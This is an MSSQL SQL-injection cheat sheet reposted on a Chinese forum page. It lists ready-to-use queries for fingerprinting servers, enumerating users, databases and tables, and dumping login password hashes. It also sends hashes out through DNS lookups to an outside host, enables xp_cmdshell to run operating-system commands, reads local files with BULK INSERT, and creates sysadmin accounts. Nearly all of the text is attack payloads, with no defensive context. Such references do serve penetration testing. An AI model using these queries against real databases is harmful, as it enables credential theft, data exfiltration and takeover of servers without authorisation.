MSSQL Injection Cheat Sheet

2010-1-31 08:04| 发布者: admin| 查看: 88| 评论: 0|原作者: 千年缘

** Some of the queries in the table below can only be run by an admin (SA Privilege). These are marked with "-- priv" at the end of the query. **
Version
SELECT @@version
Comments
SELECT 1 — comment
SELECT /*comment*/1
Current User
SELECT user_name();
SELECT system_user();
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users
SELECT name FROM master..syslogins
List Password Hashes
SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
List Privileges
TODO
List DBA Accounts
TODO
Current Database
SELECT DB_NAME()
List Databases
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')
List Tables
SELECT name FROM master..sysobjects WHERE xtype = 'U'
Find Tables From Column Name
– NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' — this lists table, column for each column containing the word 'password'
Select Nth Row
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char
SELECT substring('abcd', 3, 1) — returns c
[b]Bitwise AND[b]
SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0
ASCII Value -> Char
SELECT char(0×41) — returns A
Char -> ASCII Value
SELECT ascii('A') - returns 65
Casting
SELECT CAST('1' as int);
SELECT CAST(1 as char)
String Concatenation
SELECT 'A' + 'B' - returns AB
If Statement
IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes
SELECT char(65)+char(66) — returns AB
Time Delay
WAITFOR DELAY '0:0:5' — pause for 5 seconds
Make DNS Requests
declare @host varchar(800); select @host = name FROM master..syslogins; exec('xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); — nonpriv, works on 2000
declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); — priv, works on 2005
– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
Command Execution
EXEC xp_cmdshell 'net user'; — priv
On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
EXEC sp_configure 'show advanced options', 1; — priv
RECONFIGURE; — priv
EXEC sp_configure 'xp_cmdshell', 1; — priv
RECONFIGURE; — priv
Local File Access
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
Hostname, IP Address
SELECT HOST_NAME()
Create Users
EXEC sp_addlogin 'user', 'pass'; — priv
Drop Users
EXEC sp_droplogin 'user'; — priv
Make User DBA
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; — priv
Location of DB files
TODO

收藏分享邀请

		自动登录	找回密码
密码			注册

MSSQL Injection Cheat Sheet

最新评论

相关分类